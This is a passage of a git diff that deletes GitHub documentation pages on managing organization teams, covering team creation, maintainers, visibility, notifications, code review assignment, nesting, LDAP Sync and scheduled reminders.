ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Migrate admin team ---- - -## About migrations for legacy admin teams - -By default, all organization members can create repositories. If you restrict [repository creation permissions](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories. - -Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure. - -You can remove this ability by migrating your legacy admin teams to the improved organization permissions. - -For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -> [!WARNING] -> If your organization has disabled [repository creation permissions](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories. - -## Migrating all of your organization's legacy admin teams - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.teams_sidebar %} -1. Review your organization's legacy admin teams, then click **Migrate all teams**. -1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.** - -## Migrating a single admin team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -1. In the team description box, click **Migrate team**. diff --git a/content/organizations/organizing-members-into-teams/about-teams.md b/content/organizations/organizing-members-into-teams/about-teams.md deleted file mode 100644 index 31470a6b56c9..000000000000 --- a/content/organizations/organizing-members-into-teams/about-teams.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: About teams -intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. -redirect_from: - - /articles/about-teams - - /github/setting-up-and-managing-organizations-and-teams/about-teams -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -## About teams - -You can use teams to manage access for people in an organization, and for sending notifications. Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Teams can only be made up of members of your organization, outside collaborators are unable to be on a team. - -Organization owners and team maintainers can disable team notifications. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/configuring-team-notifications). - -Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. - -For more information, see: -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) - -{% ifversion ghes %} - -You can also use LDAP Sync to synchronize {% data variables.location.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). - -{% endif %} - -{% data reusables.organizations.team-synchronization %} - -## Team visibility - -{% data reusables.organizations.types-of-team-visibility %} - -You can view all the teams you belong to on your personal dashboard. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams). - -## Team pages - -Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. - -{% ifversion team-discussions %} -Organization members can create and participate in discussions with the team. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). -{% else %} -{% data reusables.organizations.team-discussions-deprecation %} -{% endif %} - -## Nested teams - -You can reflect your group or company's hierarchy within your {% data variables.product.github %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. - -Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. - -For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. - -To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. - -You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy). - -{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} - -## Preparing to nest teams in your organization - -If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. - -At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. - -1. Remove all members from existing teams -1. Audit and adjust each team's repository access permissions and give each team a parent -1. Create any new teams you'd like to, choose a parent for each new team, and give them repository access -1. Add people directly to teams - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team) -* [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) diff --git a/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md deleted file mode 100644 index 19ab2716e781..000000000000 --- a/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Adding organization members to a team -intro: 'People with owner or team maintainer permissions can add organization members to teams. People with owner permissions can also {% ifversion fpt or ghec %}invite non-members to join{% else %}add non-members to{% endif %} a team and the organization.' -redirect_from: - - /articles/adding-organization-members-to-a-team-early-access-program - - /articles/adding-organization-members-to-a-team - - /github/setting-up-and-managing-organizations-and-teams/adding-organization-members-to-a-team - - /enterprise/admin/articles/adding-teams - - /enterprise/admin/articles/adding-or-inviting-people-to-teams - - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams - - /enterprise/admin/user-management/adding-people-to-teams - - /admin/user-management/adding-people-to-teams - - /admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Add members to a team ---- - -{% data reusables.organizations.team-synchronization %} - -{% ifversion ghes %} - -## Adding organization members to a team - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_members_tab %} -1. Above the list of team members, click **Add a member**. -{% data reusables.organizations.invite_to_team %} -{% data reusables.organizations.review-team-repository-access %} - -{% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %} - -{% ifversion ghes %} - -## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication) - -You can create a team with LDAP Sync enabled. See [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team#creating-teams-with-ldap-sync-enabled). - -A team that's synced to an LDAP group is indicated with a special LDAP badge. The member list for an LDAP synced team can only be managed from the LDAP group it's mapped to. See [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). - -To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository) diff --git a/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md deleted file mode 100644 index 5a0f99232c62..000000000000 --- a/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Assigning the team maintainer role to a team member -intro: You can give a team member the ability to manage team membership and settings by assigning the team maintainer role. -redirect_from: - - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program - - /articles/giving-team-maintainer-permissions-to-an-organization-member - - /github/setting-up-and-managing-organizations-and-teams/giving-team-maintainer-permissions-to-an-organization-member - - /organizations/managing-peoples-access-to-your-organization-with-roles/giving-team-maintainer-permissions-to-an-organization-member -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Team maintainers -permissions: Organization owners can promote team members to team maintainers. ---- - -## About team maintainers - -People with the team maintainer role can manage team membership and settings. - -* [Change the team's name and description](/organizations/organizing-members-into-teams/renaming-a-team) -* [Change the team's visibility](/organizations/organizing-members-into-teams/changing-team-visibility) -* [Request to add a child team](/organizations/organizing-members-into-teams/requesting-to-add-a-child-team) -* [Request to add or change a parent team](/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team) -* [Set the team profile picture](/organizations/organizing-members-into-teams/setting-your-teams-profile-picture){% ifversion team-discussions %} -* [Edit team discussions](/communities/moderating-comments-and-conversations/managing-disruptive-comments#editing-a-comment) -* [Delete team discussions](/communities/moderating-comments-and-conversations/managing-disruptive-comments#deleting-a-comment){% endif %} -* [Add organization members to the team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) -* [Remove organization members from the team](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team) -* Remove the team's access to repositories -* [Manage code review assignment for the team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team){% ifversion fpt or ghec %} -* [Manage scheduled reminders for pull requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %} - -{% ifversion ghec %} - -> [!NOTE] -> If your enterprise uses {% data variables.enterprise.prodname_managed_users %} and manages a team's membership with an identity provider (IdP) group, you cannot assign the team maintainer role manually for that team. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - -{% endif %} - -## Promoting an organization member to team maintainer - -Before you can promote an organization member to team maintainer, the person must already be a member of the team. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_members_tab %} -1. Select the person or people you'd like to promote to team maintainer. - - ![Screenshot of the first user in a list of team members. To the left of the user, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/team-member-check-box.png) -1. Above the list of team members, use the drop-down menu and click **Change role...**. - - {% data reusables.organizations.bulk-edit-team-members %} -1. Select a new role, then click **Change role**. diff --git a/content/organizations/organizing-members-into-teams/changing-team-visibility.md b/content/organizations/organizing-members-into-teams/changing-team-visibility.md deleted file mode 100644 index 28098193dcce..000000000000 --- a/content/organizations/organizing-members-into-teams/changing-team-visibility.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Changing team visibility -intro: Team maintainers and organization owners can determine whether a team is *visible* or *secret*. -redirect_from: - - /articles/changing-team-visibility - - /github/setting-up-and-managing-organizations-and-teams/changing-team-visibility -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -{% data reusables.organizations.types-of-team-visibility %} - -> [!TIP] -> If a team has [child or parent teams](/organizations/organizing-members-into-teams/about-teams), you cannot make it a secret team. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. Select the team or teams whose visibility you'd like to change. - - ![Screenshot of the first two teams in the list of teams. To the left of each team, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-teams-selected.png) -1. Above the list of teams, use the drop-down menu and click **Change visibility**. - - {% data reusables.organizations.bulk-edit-team-dropdown %} -1. Select a visibility, then click **Change visibility**. diff --git a/content/organizations/organizing-members-into-teams/configuring-team-notifications.md b/content/organizations/organizing-members-into-teams/configuring-team-notifications.md deleted file mode 100644 index 67fcdb27eecb..000000000000 --- a/content/organizations/organizing-members-into-teams/configuring-team-notifications.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Configuring team notifications -intro: 'Team maintainers and organization owners can configure notifications for specific teams.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -Team maintainers and organization owners can enable or disable notifications for specific teams. When notifications are enabled, members of the team will receive notifications when the team is mentioned in an issue, pull request, or comment. - -Disabling team notifications won't unsubscribe people that are already subscribed to threads. - -> [!NOTE] -> This setting does not affect notifications for reviews requested from the team. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. In the list of teams, click the name of the team whose parent you'd like to change. -{% data reusables.organizations.team_settings %} -{% data reusables.organizations.team-notifications %} -1. Click **Save changes**. diff --git a/content/organizations/organizing-members-into-teams/creating-a-team.md b/content/organizations/organizing-members-into-teams/creating-a-team.md deleted file mode 100644 index fe807daedd30..000000000000 --- a/content/organizations/organizing-members-into-teams/creating-a-team.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Creating a team -intro: You can create independent or nested teams to manage repository permissions and mentions for groups of people. -redirect_from: - - /articles/creating-a-team-early-access-program - - /articles/creating-a-team - - /github/setting-up-and-managing-organizations-and-teams/creating-a-team - - /enterprise/admin/user-management/creating-teams - - /admin/user-management/creating-teams - - /admin/user-management/managing-organizations-in-your-enterprise/creating-teams -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: 'Organization owners can create teams and can control whether all organization members can also create teams. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization).' -topics: - - Organizations - - Teams ---- - -{% data reusables.organizations.team-synchronization %} - -{% ifversion ghes %} - -## Creating a team - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -{% data reusables.organizations.team_description %} -{% data reusables.organizations.create-team-choose-parent %} -{% ifversion ghec %} -1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team. - * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - * If your organization or enterprise account uses team synchronization, under "Identity Provider Groups," select the **Select Groups** dropdown menu, and click up to five identity provider groups to connect to the new team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). -{% endif %} -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.team-notifications %} -{% data reusables.organizations.create_team %} -1. Optionally, give the team access to organization repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -{% ifversion ghes %} - -## Creating teams with LDAP Sync enabled - -Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.location.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). - -You must be a site admin and an organization owner to create a team with LDAP sync enabled. - -{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} - -> [!NOTE] -> * LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. -> * If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#manually-syncing-ldap-accounts). -> * When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. - -1. Ensure that [LDAP Sync is enabled](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -1. Under "LDAP group," search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. -{% data reusables.organizations.team_description %} -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.create-team-choose-parent %} -{% data reusables.organizations.create_team %} - -{% endif %} diff --git a/content/organizations/organizing-members-into-teams/deleting-a-team.md b/content/organizations/organizing-members-into-teams/deleting-a-team.md deleted file mode 100644 index b8664c6c8123..000000000000 --- a/content/organizations/organizing-members-into-teams/deleting-a-team.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Deleting a team -intro: Organization owners can delete teams at any time from the team's settings page. -redirect_from: - - /articles/deleting-a-team - - /github/setting-up-and-managing-organizations-and-teams/deleting-a-team -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -> [!TIP] -> Only organization owners can delete parent teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. Select the team or teams you'd like to delete. - - ![Screenshot of the first two teams in the list of teams. To the left of each team, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-teams-selected.png) -1. Above the list of teams, select the **X teams selected** dropdown menu and click **Delete**. - - {% data reusables.organizations.bulk-edit-team-dropdown %} -1. Review the team or teams that will be deleted, then click **I understand, delete teams**. diff --git a/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md b/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md deleted file mode 100644 index f2cae313bf1b..000000000000 --- a/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Disabling team discussions for your organization -intro: Organization owners can choose to disable or enable team discussions across the organization. -redirect_from: - - /articles/disabling-team-discussions-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/disabling-team-discussions-for-your-organization -versions: - feature: team-discussions -topics: - - Organizations - - Teams -shortTitle: Disable team discussions ---- - -{% data reusables.organizations.team-discussions-migration %} - -{% data reusables.organizations.team-discussions-default %} For more information on team discussions, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.teams_sidebar %} -1. Under "Team discussions", deselect **Enable team discussions for this organization**. -1. Click **Save**. diff --git a/content/organizations/organizing-members-into-teams/index.md b/content/organizations/organizing-members-into-teams/index.md deleted file mode 100644 index da1031f88388..000000000000 --- a/content/organizations/organizing-members-into-teams/index.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Organizing members into teams -intro: You can group organization members into teams that reflect your company or group's structure with cascading access permissions and mentions. -redirect_from: - - /articles/setting-up-teams-improved-organization-permissions - - /articles/setting-up-teams-for-accessing-organization-repositories - - /articles/creating-teams - - /articles/adding-people-to-teams-in-an-organization - - /articles/removing-a-member-from-a-team-in-your-organization - - /articles/setting-up-teams - - /articles/maintaining-teams-improved-organization-permissions - - /articles/maintaining-teams - - /articles/organizing-members-into-teams - - /github/setting-up-and-managing-organizations-and-teams/organizing-members-into-teams -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-teams - - /creating-a-team - - /adding-organization-members-to-a-team - - /assigning-the-team-maintainer-role-to-a-team-member - - /setting-your-teams-profile-picture - - /managing-code-review-settings-for-your-team - - /renaming-a-team - - /changing-team-visibility - - /configuring-team-notifications - - /synchronizing-a-team-with-an-identity-provider-group - - /moving-a-team-in-your-organizations-hierarchy - - /requesting-to-add-a-child-team - - /requesting-to-add-or-change-a-parent-team - - /removing-organization-members-from-a-team - - /disabling-team-discussions-for-your-organization - - /managing-scheduled-reminders-for-your-team - - /deleting-a-team -shortTitle: Organize members into teams ---- diff --git a/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md deleted file mode 100644 index 4c6b4bba4a80..000000000000 --- a/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Managing code review settings for your team -intro: You can decrease noise for your team by limiting notifications when your team is requested to review a pull request. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-code-review-assignment-for-your-team - - /organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team -product: '{% data reusables.gated-features.code-review-assignment %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Code review settings -permissions: Team maintainers and organization owners can configure code review settings. ---- - -## About code review settings - -To reduce noise for your team and clarify individual responsibility for pull request reviews, you can configure code review settings. - -* Team notifications -* Auto assignment - -## About team notifications - -When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## About auto assignment - -When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review. - -When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition to the team. Once the individual completes their review, the team is removed. - -### Routing algorithms - -Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. - -The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. - -The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period. - -Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status). - -## Configuring team notifications - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. In the left sidebar, click **{% octicon "code-review" aria-hidden="true" %} Code review**. -1. Select **Only notify requested team members.** -1. Click **Save changes**. - -## Configuring auto assignment - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. In the left sidebar, click **{% octicon "code-review" aria-hidden="true" %} Code review**. -1. Select **Enable auto assignment**. -1. Under "How many team members should be assigned to review?", select the dropdown menu and choose a number of reviewers to be assigned to each pull request. -1. Under "Routing algorithm", use the dropdown menu and choose which algorithm you'd like to use. For more information, see [Routing algorithms](#routing-algorithms). -1. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. -1. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. -1. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. -1. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. -1. Click **Save changes**. - -## Disabling auto assignment - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. Deselect **Enable auto assignment**. -1. Click **Save changes**. diff --git a/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md b/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md deleted file mode 100644 index 977d1b3cc9b3..000000000000 --- a/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Managing scheduled reminders for your team -intro: You can get reminders in Slack when your team has pull requests waiting for review. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests - - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-team -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Scheduled reminders ---- - -## About scheduled reminders for teams - -{% data reusables.reminders.about-scheduled-reminders-teams-orgs %} - -Team maintainers and organization owners can set scheduled reminders for any pull requests that a team has been requested to review. Before you can create a scheduled reminder for your team, an organization owner must authorize your Slack workspace. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization). - -{% data reusables.reminders.scheduled-reminders-limitations %} - -## Creating a scheduled reminder for a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{% data reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.add-reminder %} -{% data reusables.reminders.authorize-slack %} -{% data reusables.reminders.slack-channel %} -{% data reusables.reminders.days-dropdown %} -{% data reusables.reminders.times-dropdowns %} -{% data reusables.reminders.tracked-repos %} -{% data reusables.reminders.ignore-drafts %} -{% data reusables.reminders.no-review-requests %} -{% data reusables.reminders.author-reviews %} -{% data reusables.reminders.approved-prs %} -{% data reusables.reminders.min-age %} -{% data reusables.reminders.min-staleness %} -{% data reusables.reminders.ignored-terms %} -{% data reusables.reminders.ignored-labels %} -{% data reusables.reminders.required-labels %} -{% data reusables.reminders.create-reminder %} -{% data reusables.reminders.test-reminder %} - -## Managing a scheduled reminder for a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{% data reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.edit-existing %} -{% data reusables.reminders.edit-page %} -{% data reusables.reminders.update-buttons %} -{% data reusables.reminders.test-reminder %} - -## Deleting a scheduled reminder for a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{% data reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.delete %} - -## Further reading - -* [Getting started](https://github.com/integrations/slack?tab=readme-ov-file#getting-started) in the Slack integrations documentation -* [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders) diff --git a/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md deleted file mode 100644 index 6c17c703d342..000000000000 --- a/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Moving a team in your organization’s hierarchy -intro: 'Team maintainers and organization owners can nest a team under a parent team, or change or remove a nested team''s parent.' -redirect_from: - - /articles/changing-a-team-s-parent - - /articles/moving-a-team-in-your-organization-s-hierarchy - - /articles/moving-a-team-in-your-organizations-hierarchy - - /github/setting-up-and-managing-organizations-and-teams/moving-a-team-in-your-organizations-hierarchy -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Move a team ---- - -Organization owners can change the parent of any team. Team maintainers can change a team's parent if they are maintainers in both the child team and the parent team. Team maintainers without maintainer permissions in the child team can request to add a parent or child team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team) and [AUTOTITLE](/organizations/organizing-members-into-teams/requesting-to-add-a-child-team). - -{% data reusables.organizations.child-team-inherits-permissions %} - -> [!TIP] -> * You cannot change a team's parent to a secret team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). -> * You cannot nest a parent team beneath one of its child teams. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. In the list of teams, click the name of the team whose parent you'd like to change. -{% data reusables.organizations.team_settings %} -1. Under "Parent team", select the **Select a parent team** dropdown menu and either click a parent team, or, to remove an existing parent, click **Clear selected value**. -1. Click **Update**. -{% data reusables.repositories.changed-repository-access-permissions %} -1. Click **Confirm new parent team**. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) diff --git a/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md deleted file mode 100644 index 2bff5258c222..000000000000 --- a/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Removing organization members from a team -intro: 'People with *owner* or *team maintainer* permissions can remove team members from a team. This may be necessary if a person no longer needs access to a repository the team grants, or if a person is no longer focused on a team''s projects.' -redirect_from: - - /articles/removing-organization-members-from-a-team-early-access-program - - /articles/removing-organization-members-from-a-team - - /github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Remove members ---- - -{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -1. Select the person or people you'd like to remove. - - ![Screenshot of the first user in a list of team members. To the left of the user, a checkbox is checked and outlined in dark 